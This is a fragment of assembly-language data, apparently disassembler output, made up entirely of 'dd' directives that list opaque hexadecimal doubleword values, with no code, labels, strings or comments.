		dd 0FE080B88h, 0E55DA50Eh, 2E8C0DEEh, 3C18D9E9h, 5DD9C9D2h
		dd 562580C5h, 0BE8D099Ah, 755275DEh, 2555C6B0h,	89CD599Fh
		dd 0FDD62B3Bh, 84C35769h, 2A7B6CE9h, 22C4AA44h,	7EAB107h
		dd 0ACB0F4F1h, 51AC065Bh, 3D10B753h, 0E79EB5C7h, 0B652808Bh
		dd 28DCB16Ch, 355AF126h, 894A723Fh, 157C3EFh, 2805EFC0h
		dd 0B73CCF6Eh, 9E5AD138h, 0A6BA01EEh, 20138025h, 5513F248h
		dd 23AA5EF9h, 0B581DD03h, 0F315705Ah, 19AD065Eh, 9C42E1DAh
		dd 5D93095Dh, 0A2524079h, 31AC38Dh, 0E880595Ah,	20CB252h
		dd 0D628D02Ch, 0B3085F0Bh, 0FD0412A8h, 95AEEA36h, 295BBADAh
		dd 59265EA9h, 0A2BC17B5h, 74FF78FBh, 4AB0AC14h,	0AE4B47F0h
		dd 334E23BBh, 1EA5C315h, 0B5310789h, 0D547B7EFh, 5CB19FC2h
		dd 0EC80E1F9h, 9C92FB79h, 50B60B68h, 8C45ABA1h,	6E5FF9A5h
		dd 0CE334EBBh, 9AEB4E90h, 7D292FF5h, 4F04D7A9h,	0F5031CF0h
		dd 0D29AC580h, 55485DD3h, 571669E7h, 0F4007AD2h, 1E9F6594h
		dd 0E9FB0921h, 0DA5DC705h, 864E9F7Ch, 382B16B5h, 0EA4A0D11h
		dd 4B68836Ch, 136CA610h, 988C028Ch, 796E67A6h, 0B8AF74D7h
		dd 38AF5F91h, 9A2DE9D9h, 1304914h, 79D4B878h, 1609BA3Eh
		dd 0F8773013h, 59CD1671h
		dd 9CFDB901h, 4EE4C7DCh, 0FA1780C8h, 29FF3F12h,	7C983FEDh
		dd 440D2FBEh, 0CD5F9DD0h, 825CB90Ah, 0B5E7E67Bh, 2F9853DAh
		dd 21FE68BDh, 0F0AF9C1Eh, 0DC8B3896h, 552B1D0Bh, 501AA56h
		dd 405D06D0h, 1794C47Ah, 848FA907h, 0BBAC41F6h,	4A2B0C9Eh
		dd 3190DEDBh, 4EFF529Dh, 0AE00FE5Bh, 6AA43611h,	3AFE9758h
		dd 0B17542h, 0F84573B9h, 0AE665Ah, 5696F1F4h, 7095AD82h
		dd 0A4F79524h, 0BA0FDD2Fh, 2E062A42h, 0E135AE0h, 2934E514h
		dd 520664ADh, 27FC3680h, 0BA1A1D3Eh, 94A4974Eh,	7C1549Dh
		dd 397E9B04h, 888DFA24h, 75E3A902h, 0B477C58Bh,	0BDE92F41h
		dd 5D9F6A70h, 579D669Eh, 0CC9DD214h, 0E2295ED8h, 9DB54FE9h
		dd 8000D7FDh, 884A09C2h, 0FE7C7FCh, 47A3A0F7h, 0DE5DB758h
		dd 0C7426A64h, 0E23E42F8h, 5C58404Dh, 0B0105B23h, 6501667Bh
		dd 0D0F73C64h, 8560DC25h, 2CD79D02h, 2668184Fh,	89D814FAh
		dd 0C3E81350h, 8A3D119Fh, 42E2A77Ah, 0F26E7D56h, 35C81E9Dh
		dd 0B1977CE9h, 918C4099h, 565FE02Ch, 8EF2ADD0h,	68332C58h
		dd 40CE0400h, 3F76C171h, 0D67A6D39h, 62F5ED0Bh,	3A7C7722h
		dd 1450620Ah, 4C910Fh, 6852FD0Ah, 5A4BB074h, 34BBF18h
		dd 0E7FFE35Dh, 6E010FE0h, 0B7EA0481h, 0B87AAB71h, 26591612h
		dd 58CCAD63h, 4488F7Fh,	6889035Ah, 0FA840CE4h, 0EA9698A9h
		dd 98FA2135h, 0C13EC3E6h, 5A052D38h, 590880CDh,	4DCB557h
		dd 62FD4ECBh, 9E6FC05Eh, 49C35F05h, 3CF8134h, 592D8F6h
		dd 0E9117A33h, 0BE21AF2Dh, 0AC0489F0h, 23117190h, 2D0009D4h
		dd 521A2CEFh, 0E91AD8F7h, 632C55FBh, 0DB16CD01h, 90A28FA8h
		dd 0BD05AC50h, 2236104Ah, 4811E94h, 0B1213E57h,	0E6FF0C82h
		dd 97E1D49Ch, 8E20795Eh, 532650C5h, 4A80EF8Bh, 0AEBB3E6Eh
		dd 9E02B702h, 0A3E7D5E9h, 0C705E1F7h, 0A6B5A6A4h, 0A245BB2Ah
		dd 0DA47311Dh, 0F00207Fh, 0D47ED684h, 0A1053B67h, 0E821F912h
		dd 0F207122Bh, 0AB5BF0B6h, 0DE18ED5Ah, 5EC64CDh, 0C54B2869h
		dd 0C32083EBh, 5FBBAA80h, 0DBE99A00h, 0C4BFFEFCh, 213E2048h
		dd 92C7B43Fh, 2788C0A4h, 52ED9D59h, 0E1CE460Ch,	1D5C3AF1h
		dd 0ACC19860h, 6150AB67h, 3E09E7E3h, 5314ED1h, 39ED29F5h
		dd 3738F058h, 8C8BAB4Eh, 41686661h, 20E03123h, 0F66EFFAFh
		dd 0BA9ACB4h, 0C5C24E83h, 0B980BA08h, 13B72D66h, 807AE909h
		dd 0FE0DB2A6h, 84209490h, 0D5F71FD7h, 0F083B155h, 0C00615h
		dd 45BB2ED7h, 6F7C3CBFh, 0D6174C5Eh, 6C119BEh, 0E2EC2E03h
		dd 238BA500h, 2E94746h,	0DA5B1265h, 0E2D1D806h,	1C5D3E8Eh
		dd 146F26h, 870BCF62h, 0E9BEF3E9h, 79C33109h, 0E5F36F18h
		dd 7FA87198h, 0C55D9A4Fh, 21BAE25Ah, 68EE68F8h,	0FA257D19h
		dd 7E64F720h, 80B741F2h, 7A35405Fh, 31D63DB6h, 0F201E593h
		dd 0FF562646h, 0AB10FFAFh, 1A646968h, 0A9F03D57h, 0BAEF3B80h
		dd 0AB5BF813h, 10C96774h, 442AF835h, 1FA9C793h,	7501C12Eh
		dd 4F290A24h, 0B1EE8DFh, 893D2E0Dh, 0B7BF2861h,	0CEA06872h
		dd 974A8BE9h, 0CE012971h, 8FF4B27Bh, 4C38D281h,	44314B66h
		dd 82F5936Ah, 4B57BD16h, 2A18D17Fh, 9C59B624h, 6B82C3CDh
		dd 0CAA5FD38h, 150D8EEFh, 8BDA39FEh, 0BE4D40F6h, 0A6711B7Dh
		dd 5C90D661h, 0E6EC2775h, 0CD7FDC0Ch, 0BAB183Dh, 29F96D31h
		dd 0A609F3F2h, 9C0014Fh, 27595C53h, 346E9CFDh, 877DF9E9h
		dd 0F5F660D1h, 0DA7D2958h, 3CD3B934h, 0D73813AAh, 0A64B5B9Ch
		dd 0B1D2BDB2h, 0A620A2BCh, 8C97DF97h, 4D0E0513h, 0E9E8F3B7h
		dd 1B300741h, 726203EFh, 6A32E923h, 0BBF7C104h,	4681756Bh
		dd 57C24E01h, 662A5D9h,	2B1C11D7h, 50D532EEh, 4E2B77E0h
		dd 6AF3D9C9h, 951FF0BEh, 0ACB213D8h, 0DDE9CCFFh, 0B0176F96h
		dd 63163E09h, 0FE305F2Fh, 9788614Ah, 24898B08h,	0B7688B1h
		dd 6EF36805h, 9338F345h, 0DC65F88h, 41A06B6Dh, 0E2FC6A7Ah
		dd 3A0EE90Bh, 6570BF31h, 11D22879h, 0C201BCEh, 0FEF44D12h
		dd 17CDE7B0h, 0EB1CB834h, 0A4398939h, 0B35AC5Fh, 840B4AC0h
		dd 0E943FAC8h, 5D0466DEh, 535258C3h, 6BA118D0h,	0C8055C94h
		dd 1407EA28h, 0C22F4CE9h, 5A3AB2A7h, 70C47C57h,	5C80AC8Dh
		dd 84514E66h, 827CEAD6h, 0B7504A13h, 16C63E5Dh,	94F5B1CFh
		dd 0FC58A336h, 2349CB04h, 0E5F3F40Ah, 314ECAB8h, 8BE3D081h
		dd 2BE4BB01h, 0FAEBD9A1h, 6A9E56BEh, 94FF2764h,	0BA759D0Bh
		dd 4C5074D2h, 7F3BA408h, 0F229B473h, 4C09B510h,	0B164FA1h
		dd 9A0D3603h, 77C9CF61h, 0E505F348h, 0EAFC820Eh, 77606968h
		dd 2FB9B919h, 313039BCh, 67B6E9A3h, 8B0251B5h, 0C05AC769h
		dd 0F462082Dh, 4948E3B6h, 4321424h, 66063018h, 6B313F68h
		dd 0D25BFD93h, 717D8593h, 0A2192894h, 0A57C5D9Eh, 0B0525A72h
		dd 49529604h, 0E98548DBh, 0FDF633D2h, 0C3A73A18h, 0F1BA5BDFh
		dd 2FC53555h, 276835A4h, 4CE63144h, 0EA739D02h,	0DEE3D127h
		dd 1690201Bh, 0F29197Eh, 0E924E1AEh, 0EB6E953h,	55B068E0h
		dd 84B9004Eh, 8163647Fh, 95C0A4E9h, 0A70B6750h,	5F0B0E39h
		dd 70029416h, 0F76D5535h, 318077D7h, 513EB850h,	960E616h
		dd 0D2A7EFB0h, 30590DB1h, 45DEF2F6h, 466DE2Dh, 0E3565068h
		dd 484C13E7h, 5B1C528Ch, 7B3FE71Dh, 0BA44A82Fh,	95526C47h
		dd 0A3375525h, 792F78EDh, 0B7BF1CE2h, 0F78D907Bh, 0B32B2A34h
		dd 2096D02Ah, 0EB5B5A73h, 6CC99D5Eh, 0AED17D9Eh, 66ABF7E9h
		dd 2050167Dh, 914DFB4h,	5FA59CEh, 8906F681h, 4B0512C1h
		dd 17DFF40h, 72D51F0h, 87A28F7Ch, 0B01073D7h, 6ABE688Dh
		dd 2FBE3BE1h, 3D5C2E08h, 0DF05EEA0h, 8309FB54h,	0C3E94FC1h
		dd 0B9AA002Bh, 1E82511Bh, 0F9DE6F4h, 0F186E46Eh, 0DA5BC7C3h
		dd 2DEB761Bh, 0C10EA266h, 86310BE8h, 9D21F5E9h,	219E4174h
		dd 0EEE8C6E5h, 395C4E3Fh, 2C2D8CBh, 664E5BA6h, 42A60DEBh
		dd 6A333189h, 7D01C4A4h, 0A12F37DEh, 80C20352h,	0EA983293h
		dd 500F6622h, 822842B0h, 64CFA0E9h, 0D88A2E25h,	28F340BCh
		dd 9582070h, 0CCC42C8Ch, 83056B40h, 1CDB86Fh, 30F13AEEh
		dd 3E3474E9h, 90B451F8h, 0BC563C96h, 0FA092B5Bh, 5730627Fh
		dd 0D217F8C5h, 61D68EE4h, 1A68D8F0h, 5E82606h, 5CDA2BA4h
		dd 6B5ACCBBh, 68D18D26h, 0E7C44712h, 0EEA792FCh, 3E5D7959h
		dd 6FA969BAh, 1940323h,	0E685685h, 0EC1FA862h, 59BF5DAFh
		dd 1638888h, 0D7285218h, 2FB13E07h, 8975A912h, 6897E1B8h
		dd 722904DCh, 76AC5E30h, 0E99D61A0h, 0FF844F13h, 4E0EB7EBh
		dd 0F327A4F1h, 0BA8BC14Bh, 0A33EC19h, 52CA8102h, 0F536EE41h
		dd 0E9C1FF7Bh, 5BA74018h, 88A1007Dh, 9D046F5Eh,	3768CE98h
		dd 6BC30A26h, 0D81C092Dh, 0E350B7D6h, 695B6098h, 2D57FCCCh
		dd 95FD5F54h, 80F3A473h, 0DE934F5h, 9E0C07B8h, 0EC294D1Eh
		dd 0AB680555h, 0AE22F018h, 80062DC2h, 4774F889h, 5828B86Bh
		dd 1A2CB908h, 1C82000Ch, 20E92307h, 76700F97h, 58F7340Bh
		dd 37E79D06h, 8F58F50Fh, 0ADEE803Bh, 96089C09h,	0B0511326h
		dd 5F956642h, 0EF8AB7A2h, 3BC7B849h, 740CD55Ah,	58E98FE4h
		dd 5C76A497h, 5EE6A3F4h, 6975799Dh, 0AF2B735Fh,	681318F8h
		dd 64755045h, 5FED9C1Ch, 0F0F20224h, 1AC459DDh,	0E210FB8Ch
		dd 4335B804h, 21E7C267h, 22579642h, 1AFDF35h, 0E1D38966h
		dd 13396C2Ch, 0D008E330h, 16FF254Dh, 3AD19538h,	0A033162h
		dd 0BBF82755h, 0FDA10830h
		dd 2D0C4AC6h, 0DE655Dh,	2EAC104h, 7D24F8h, 554F4C36h, 0B796851h
		dd 594E4413h, 0FF813507h, 97215919h, 28A3F056h,	0BE1E9A01h
		dd 0E165D758h, 8B3DC27Bh, 0FEBD65F8h, 7F955662h, 38944EB1h
		dd 0CFBE4EE1h, 0D4EB4E02h, 41E2AED5h, 0A54905A1h, 0F241E08Fh
		dd 59EB2548h, 83C0EC75h, 0B2785B0Ch, 74A2D738h,	51437B10h
		dd 167E40FFh, 475FD35Ch, 7D8A8D9h, 0DCDB4CF7h, 7C567104h
		dd 5439802Fh, 0FAB89C38h, 4DADDF20h, 2C89215Ah,	0A340292Fh
		dd 2D470316h, 0C3381709h, 0CC885F14h, 17742407h, 0BB0A40Eh
		dd 58E20A5Ah, 0EB9A64D7h, 82C5CAFDh, 2F6A8835h,	5764CC27h
		dd 0BB56A50Bh, 0DD5CD209h, 0FBDD64BBh, 986888E0h, 7AD328BEh
		dd 193A26DEh, 0C6888EBCh, 64F43149h, 0E3FBC08h,	0F8E9C501h
		dd 0B83E3E58h, 3E2D040Fh, 9EC3C731h, 12267469h,	5D3F793h
		dd 0FE9CD85Fh, 7FE76920h, 807364A6h, 585EFF62h,	0EB36DD6h
		dd 198BE03h, 0F5CA7310h, 7BE246F0h, 4352C014h, 67DA04C8h
		dd 0B2EF7054h, 5A460071h, 24E91ACDh, 0EAE2A83Eh, 5298C808h
		dd 702DD624h, 0B5D90980h, 5B7098C9h, 0F33C499Fh, 1B8CB67Ah
		dd 12F7A340h, 0FD7444DEh, 419D4D4h, 2E13F95h, 8C250ABh
		dd 0F541494Bh, 0B25279A0h, 0F2098047h, 0FDD5201Dh, 501EA30Bh
		dd 20B406FCh, 0B2CBA225h, 885F0B55h, 4C1C1345h,	0CBEAA375h
		dd 0FB3100CFh, 0E9D8215Fh, 2ABCE3DAh, 8C5F785Ch, 4C5BB47Bh
		dd 67F25BA0h, 79E90DB0h, 14830ED0h, 68F0AACDh, 518F9C5Eh
		dd 22053A95h, 63B2FDFAh, 895F551Eh, 0B3751115h,	8AFF2A6h
		dd 0A2FB14BAh, 195DCB07h, 0EDBFE354h, 23BC425Bh, 0C19BAC4Ah
		dd 3B85338Ah, 50731020h, 4F7A769h, 0CB6857D6h, 148CA314h
		dd 0C2AD56BDh, 5F463268h, 5525C265h, 80680338h,	69A96F4Bh
		dd 0E90283A2h, 0F0E8D5D0h, 390927E3h, 0B4B1696h, 935404D5h
		dd 0C7CE8BBh, 2B8462E9h, 47E50EC5h, 0F5C02108h,	44E09061h
		dd 0A5E98938h, 0B84E80A1h, 25C32A9h, 251B2D1Ch,	64DDEFB2h
		dd 0E12E0B74h, 0A65CC50Fh, 7E845713h, 0F52FB9AAh, 158790AFh
		dd 690B7D05h, 0FC64D5E9h, 12EF6096h, 0E3BF1E21h, 0EC444C38h
		dd 5AFA52B3h, 68165558h, 10AD2F14h, 632449B7h, 0A2EF1247h
		dd 0EE3E0AD1h, 123C3EFEh, 0A6EA1E86h, 12AD5E68h, 0BC12FB5Fh
		dd 98B9E3AFh, 0B53E6294h, 64064DE6h, 59397A58h,	5607802Ah
		dd 77132768h, 1455B11Ah, 0E95612C3h, 5B1E4902h,	0BCD0F184h
		dd 0BE5C8C21h, 44C4BDC5h, 33BA2D05h, 0B007078Fh, 9B5A12E7h
		dd 2581F71Fh, 0EF8772E8h, 69E4B32Bh, 0E7CA8410h, 0DD34430Eh
		dd 0FF90604h, 7F81BA24h, 0D00757CDh, 7A4B30E5h,	38043140h
		dd 1155003h, 688597EEh,	2750EDA5h, 25F1DE87h, 1598CC14h
		dd 575C8B9Dh, 91C32030h, 94D3F14h, 4A3D09B9h, 0EF00807Bh
		dd 2F431162h, 99F62924h, 8D800820h, 0F88202A0h,	498A053Dh
		dd 0B189144Ah, 6747CCA1h, 0A366B426h, 5276A10h,	8B98BF7Ch
		dd 80643A91h, 8F945E54h, 9C65D69h, 8CBE1C4Eh, 1E131387h
		dd 0AC68818h, 57C908C0h, 4702435Eh, 6450D432h, 410883C7h
		dd 0F645141Ch, 0A416F2AFh, 1107EA1Ch, 89693BC3h, 2EC17D67h
		dd 0BCFDC9EFh, 0DCDF2508h, 64E90904h, 2A482041h, 0A93E880Bh
		dd 0AFFDC75Dh, 0E4255E76h, 36886212h, 0D4D234AFh, 57EE812Dh
		dd 0FC0C3C8Dh, 50270216h, 0D7CB7D58h, 531F3DD1h, 8813EDECh
		dd 0E4AC8EFAh, 0D02EEE2h, 0EE4E05C0h, 6B82F734h, 0EA5E05A8h
		dd 216E9C2Dh, 6F139878h, 92824B5Ch, 0E32152E8h,	0CCCFC8FFh
		dd 6B761E75h, 0FAFB7FD1h, 0C04D3FC2h, 3432EA00h, 0CCE97259h
		dd 585CF49Ah, 83B829F1h, 0FABBC3AFh, 62B5074Dh,	77DE5C0h
		dd 69D2D440h, 6EA5FD0Ch, 0BDB0FFEEh, 85E9459h, 5D12165Ch
		dd 21E9D9FBh, 0AC46F407h, 0E9295C05h, 81DB850h,	72870FD3h
		dd 76982FEDh, 45594A79h, 21D3A5EEh, 473F8B09h, 94FEAF89h
		dd 5E78462h, 0A9A3EE53h, 60F4E3C0h, 13A22C25h, 24FA437Fh
		dd 16BCDE3Ah, 4C80AAC6h, 0B7F7B3E9h, 0B8810979h, 4F7B19BBh
		dd 133BFD3Ah, 27ECE830h, 36AEE84h, 5E4FDBE9h, 3892F03Ch
		dd 26C1B340h, 2F08EDh, 2AC67754h, 58CE889h, 0C27A305h
		dd 434F16Ah, 0AB368707h, 63B72318h, 95C78018h, 2F6E506h
		dd 2EFC0DFh, 69640AE9h,	7113DBFAh, 130130E6h, 232C2BC4h
		dd 2AE2F06Eh, 86B6AA4Fh, 0BA387817h, 0FA5ED528h, 0D7354A8h
		dd 0C0264FE9h, 55A9B909h, 0FE374325h, 0A8953E81h, 2D02E4DCh
		dd 641474B4h, 4D44D5C0h, 429FE690h, 5388D721h, 15D13A0Ah
		dd 1089CB3Fh, 0E9173937h, 3F90E1D4h, 461077E6h,	0FBD3BF4h
		dd 45083763h, 26B828B8h, 4F1AB4C6h, 1878652Fh, 0B0D58856h
		dd 0F6AC246Ch, 805A8291h, 0F15F93EBh, 0B45040FAh, 305BE93Fh
		dd 985F28E9h, 20FAEAC1h, 0FF4F582Dh, 4088D08h, 0AE45A3E9h
		dd 410D4988h, 0BE2B40B4h, 2A3BCD7Ah, 871B8F35h,	0C3CE776h
		dd 0FA2D31A0h, 7DCF256Dh, 0BC258C07h, 4271D247h, 0D1CA8103h
		dd 3A296714h, 49984C80h, 1BEE0C2Ch, 40419725h, 82509F0Eh
		dd 3040D440h, 3A84BF4Fh, 0D713FEC0h, 28F4BF47h,	52010820h
		dd 0AE14B768h, 0CE825A75h, 27D91ED4h, 0F00044F5h, 62B025E8h
		dd 1854342h, 0CD3407Bh,	0F6C8FE8Ah, 0E824D805h,	5EFE02Ch
		dd 40204C68h, 0DCBB539Fh, 61EBD504h, 1895477Ch,	7EAC0501h
		dd 0ECE8250Bh, 0C318BD1Ch, 0C0824768h, 905030Bh, 52B65D9Ah
		dd 880CC45Ch, 1ED543FAh, 89514821h, 0DB680B1Fh,	872D8535h
		dd 0EE164838h, 99FB164Eh, 442A207h, 0F436E950h,	0E22EFF8Dh
		dd 4488CE6Ah, 0F6B60187h, 53E6DA17h, 0CA67A0B9h, 297D6812h
		dd 0E9543B30h, 0D8CC5FA2h, 0DD94B0B3h, 2FAB6727h, 0AABDA655h
		dd 2874B361h, 18D79D2Ah, 2D03EDFFh, 0F8BDE9h, 9E4AC39Ch
		dd 2C4BB8C0h, 0C1650019h, 843507E0h, 8C319625h,	6EE9BC01h
		dd 2C6A1C65h, 1309EEF1h, 0F24E497Bh, 3208822Dh,	0EE45D588h
		dd 22660994h, 0B0501F44h, 888FC538h, 2C82FBC5h,	845C179h
		dd 1605EDCCh, 52A28CE9h, 44D8EA98h, 0E8E29DB0h,	428B65DFh
		dd 0DFC83CE9h, 191ED7BDh, 0D3933678h, 0EBD1EA80h, 0E13FE5C1h
		dd 95AF0D7h, 3CCEA495h,	5D8CA5Eh, 227DAFAAh, 75F39D78h
		dd 440959D1h, 0BEC77751h, 0C0EC300h, 2D01BC43h,	2A7D5BDDh
		dd 0E1024FB3h, 404F1064h, 183D71E0h, 2659207Dh,	599E9AA5h
		dd 54F95659h, 0BE30C43Bh, 68F01FBCh, 94B52930h,	0D85D4A62h
		dd 11266819h, 16F9E48h,	2CC21C9h, 41F08048h, 21FA3A2Dh
		dd 783DAA62h, 3F1DF71h,	348B4F29h, 0B9711DDAh, 0C8270392h
		dd 0CE4566E0h, 2EEC9738h, 5582B5F6h, 0E512FEF6h, 7F74804h
		dd 0C74AA2EFh, 35423DBEh, 2FF8413Fh, 0B817CC28h, 673DBF01h
		dd 51E9E000h, 80F59C0Eh, 276A127Bh, 0BD67FB8h, 0D52911C2h
		dd 0E9132E44h, 31FAC213h, 9FBE979Eh, 42C95343h,	0DA68686Ah
		dd 122C8994h, 1955E55h,	7C587BB8h, 1762BE3Bh, 9ECF675Bh
		dd 8BDDEA25h, 0F4490840h, 5A2240A5h, 81280170h,	59696EC9h
		dd 31EB3E27h, 6B89CBBCh, 39F13BF0h, 0D0278486h,	0DF952250h
		dd 9AFD163Ah, 0A27CEB0Ah, 2FF05C37h, 1E39B502h,	476F6801h
		dd 896AF26Eh, 0D07F565Fh, 459954F8h, 80DDB281h,	0E67C43C2h
		dd 0B3538B00h, 35BF68C0h, 0DCBE9599h, 0C1703D6h, 8BC0FEA7h
		dd 2980E5E0h, 3A81B551h, 0C2DCED80h, 0D3D05939h, 7E24FE9h
		dd 751404F4h
		dd 4EA2B8ADh, 0ED4E71EDh, 0E40713F8h, 68AD3D01h, 8C7F6364h
		dd 4512BBC4h, 440B3017h, 896B7478h, 84594422h, 16335689h
		dd 5B4EBFA8h, 0F7F9DE62h, 84CB45D8h, 0FBF5F3E9h, 0D0F7B321h
		dd 3A6A297Fh, 0B528E4A0h, 1F316121h, 5E9F24C3h,	7252AC14h
		dd 4AB5BB7h, 0C2CF2999h, 0CE52305Fh, 5F05F825h,	0F85F01C1h
		dd 0D2A4164Ah, 0F98AF795h, 289B0B59h, 74354B90h, 0E905DC25h
		dd 0EB23BAB1h, 0CBD1C04Fh, 0C85C4F0Bh, 40053889h, 5B332D68h
		dd 13E00F18h, 0B5A537D7h, 0FB2BAEE9h, 5A665120h, 17F12768h
		dd 44552B66h, 37E841BDh, 4D92E65h, 8A24030h, 29757306h
		dd 0F4B708A0h, 476E5829h, 140CDC93h, 2D4A55DDh,	0DBDCAC25h
		dd 212C93BEh, 2700C3F2h, 0B8715107h, 2505F96Bh,	0AB3BE9CCh
		dd 0DC621EBh, 0D2566DC6h, 7B2E8A0Ch, 0FEEC2091h, 982FDBCEh
		dd 90D60130h, 0FF5C9DC5h, 6EA31B95h, 59C6E68Ah,	0DA53500Eh
		dd 0E37B4BA5h, 49AD19Fh, 0C5FE91B5h, 0E91B8B80h, 6CC69DC9h
		dd 99DD1F0h, 0D2165DFAh, 142DA95h, 6C56504h, 2FCD3AE9h
		dd 2C7E7C8Eh, 0BFC65E4Bh, 0BC54CE2Fh, 41A1E978h, 0B03D6B3Ah
		dd 0A604CF7Ch, 0C060E522h, 597EEF20h, 8242EA2Ch, 24EEF70Fh
		dd 55803C63h, 3DFA6D65h, 22DC138h, 0EBC0105Ch, 261533Dh
		dd 2FDDF681h, 0E07D450Eh, 0BBD55ABh, 0E9A3D51Bh, 314F7F50h
		dd 0F6EB9C00h, 262BFC0Ch, 978FB01h, 0C71BB016h,	7BA2EBC1h
		dd 13961EB9h, 3E3EA122h, 0EAD281B3h, 0ECC8D08Ah, 9BA5962h
		dd 0F065745Ch, 0F5F52A8h, 0DF1F0763h, 0F19C1E38h, 7AEBB118h
		dd 0A61EB4Dh, 1D924DF9h, 5B354431h, 684701B9h, 313C0E05h
		dd 267090C0h, 93EEE942h, 0FD9D3B92h, 0EE5C5EA4h, 4069F828h
		dd 0CD77FEEDh, 5103A85Eh, 2533F268h, 1AF131B5h,	0CA85509Fh
		dd 86B8237Dh, 0C90B2112h, 13EA2F81h, 6E7689FBh,	10AFE016h
		dd 9B55D622h, 3FF5BE00h, 0BA6B5F4Eh, 0B40A4C52h, 0AD260CE9h
		dd 4DE33117h, 24FD110h,	547F0305h, 4BAE6376h, 0EE80FF04h
		dd 4D1DA4B1h, 312C7074h, 0E8FB9683h, 0D57A6988h, 75694865h
		dd 6FE96CA1h, 0F7D951F6h, 8BBD6FD1h, 0D4655507h, 77416F27h
		dd 21BDD0FAh, 12AA2BA8h, 0F1920513h, 9E9EEDFEh,	5FE77FDDh
		dd 695579B2h, 0C860C30Ch, 0EF36D3EAh, 9C200839h, 600D4132h
		dd 0D809E5F3h, 0D92A0716h, 0E9686717h, 72091B7Eh, 8BA4DC63h
		dd 3AF5FE20h, 56056141h, 97604330h, 5D87777Eh, 81B9D76Bh
		dd 9E584D00h, 0BE2C030h, 12DE1F71h, 0C85648Fh, 0D14DC254h
		dd 27A93B42h, 60FC65F5h, 7AE9D828h, 0EB231E65h,	5D60A0FAh
		dd 0E962EEB9h, 5E076E8h, 0EE215F5Ch, 55093EE2h,	4042EE68h
		dd 0DFAE895Dh, 0D769CC7Bh, 0B828AC9Ch, 16B58EE8h, 0E1FA4E62h
		dd 5FDA6E88h, 0D231A34Bh, 961E2AFh, 570141E9h, 70887B19h
		dd 2D8907C3h, 5A794E2Bh, 0EB1302CEh, 1EE94471h,	80139828h
		dd 0A81E06C3h, 596A261Fh, 9422C39Dh, 7B1E6814h,	0AB768463h
		dd 54AB28EBh, 68FF5950h, 0DB48091Ch, 2F3D4CFCh,	16B87004h
		dd 13A3370Dh, 4408C28Dh, 971F25FEh, 0F57A7589h,	65B76596h
		dd 0E7FC84D5h, 533D9CFEh, 453678C3h, 0B5D59593h, 7DAB0901h
		dd 0FE704149h, 9D5AA656h, 0E9611E7Eh, 217EB446h, 10CA7B3Eh
		dd 3D2A1DC2h, 989337ACh, 3830FF33h, 8EBC05Fh, 0A6B15105h
		dd 0B81E0113h, 598AD039h, 0F133DDF5h, 0BBB23430h, 0F83F7500h
		dd 3E22BA3Bh, 12164F20h, 0E180BA9Ah, 0FE34F472h, 0A4F9BF31h
		dd 23EA7D27h, 0AAC76C55h, 0EED91052h, 605A8152h, 9B98FAB9h
		dd 5F64DAF6h, 48D06416h, 5D276802h, 7B85C543h, 0BB6C400Ah
		dd 11BC4993h, 84BF5705h, 83AB9D02h, 0BD27A12h, 8B7D2D42h
		dd 700C00B2h, 4E57613Eh, 3862E931h, 0B4A19EA5h,	8DBCFB56h
		dd 59EC1D2h, 89A90414h,	760F910h, 0C68057B6h, 0D1F328C2h
		dd 1E734FF8h, 8C0C926Dh, 485F5CB6h, 411821CCh, 0BBD03EF6h
		dd 4725BF3h, 1C681F50h,	466DD827h, 0E9990C39h, 6BD0C1CCh
		dd 2968EF74h, 82C017Bh,	0D01B044h, 9FB1D88h, 156EE3E9h
		dd 0B297D44Ah, 685781DEh, 0CB2A5890h, 69257D13h, 57FB1179h
		dd 0B593A170h, 9F838E91h, 0D8080118h, 295A0532h, 0B8B401C7h
		dd 0A521187Ah, 0FD1ED775h, 0F584695Bh, 33B2F3B9h, 2041FF22h
		dd 0DF08F5C1h, 0BE31397Bh, 1AB31635h, 0B21DA620h, 253E09D0h
		dd 0B9DC1EE7h, 0DE4EB002h, 2CFB6052h, 0C67D04DDh, 0A7CEC2E9h
		dd 0F9311282h, 47081819h, 94830749h, 0C008F19Ch, 0AFB8BBFCh
		dd 0F8EA8B5h, 25733B57h, 5C15BDAh, 0DE30700Ah, 21F04B01h
		dd 0C064049Fh, 521F53C8h, 714CB9B2h, 3C7E3ADh, 0EEDAA1D3h
		dd 8EEAFA01h, 0EF880768h, 0DE4FD2EEh, 4BBA3FD5h, 0EDB258A2h
		dd 0DA63FC55h, 1292C477h, 855D801h, 8007737Dh, 0C53770EDh
		dd 79C1F6D5h, 746E252Ch, 51EB62F6h, 0F814AF63h,	4CB46558h
		dd 9AAC0585h, 991DB14Fh, 96485DA4h, 31B85845h, 78EA4810h
		dd 350FE0B9h, 54E56128h, 2C16852h, 65169076h, 0C87AA8EBh
		dd 0DC7C0A0Ch, 7E742587h, 0CE61E502h, 0BE13406Ah, 12FD2DA9h
		dd 3A01F570h, 0E965D52Fh, 573B0399h, 92F0BC98h,	27B8EF28h
		dd 59604A86h, 0D9B5CCA0h, 2F66C6ACh, 0E2B1E927h, 716F75Ch
		dd 0D7E95609h, 3C0C7108h, 47873517h, 84C58974h,	0D690AF33h
		dd 254D0D8Ch, 13605857h, 80806E87h, 381B73CAh, 0D02CC3C2h
		dd 0C6310B7h, 5DE8835Fh, 4B487D06h, 6F78C645h, 0A4540505h
		dd 1BE075Ch, 0ED52D6Ah,	31E8D71Dh, 774BD472h, 70790E1h
		dd 5E1611CAh, 0C7C40BEAh, 8B409FFEh, 4E3B51h, 0BD3CCE0Dh
		dd 45E50571h, 25006AF2h, 6FC2A7Eh, 9DAF42E9h, 0EF819022h
		dd 27DEE4DDh, 0EB512272h, 49B0F992h, 580C0035h,	23250AF0h
		dd 29FF821h, 62D04045h,	72C07D2Ch, 8191FDF4h, 1FCFCD05h
		dd 0DFDD8D82h, 98BDB3F3h, 290A2C11h, 0D7EE95F5h, 9D5EC212h
		dd 20E91700h, 906FA70Eh, 5CAA121Dh, 7080AFE8h, 255AC0F1h
		dd 0A97C8AC3h, 692B260Ch, 2F3C0FC6h, 25665F44h,	0B905C277h
		dd 23350B83h, 642581FAh, 0D17005C7h, 6D0EB81h, 5929CC0Ch
		dd 0A98024Bh, 0AC283138h, 6001341h, 0D1A8BA52h,	0F6E9971Fh
		dd 65D12081h, 144EF0Bh,	8CB88DDh, 5BADE914h, 0E1BA57D4h
		dd 0BB4B3BD4h, 90A201Ch, 0C0F75FFDh, 0D00DED3Ch, 0E4980241h
		dd 95565D24h, 0A51A0C00h, 0C508BE3Ah, 0EFFE310Bh, 4985D800h
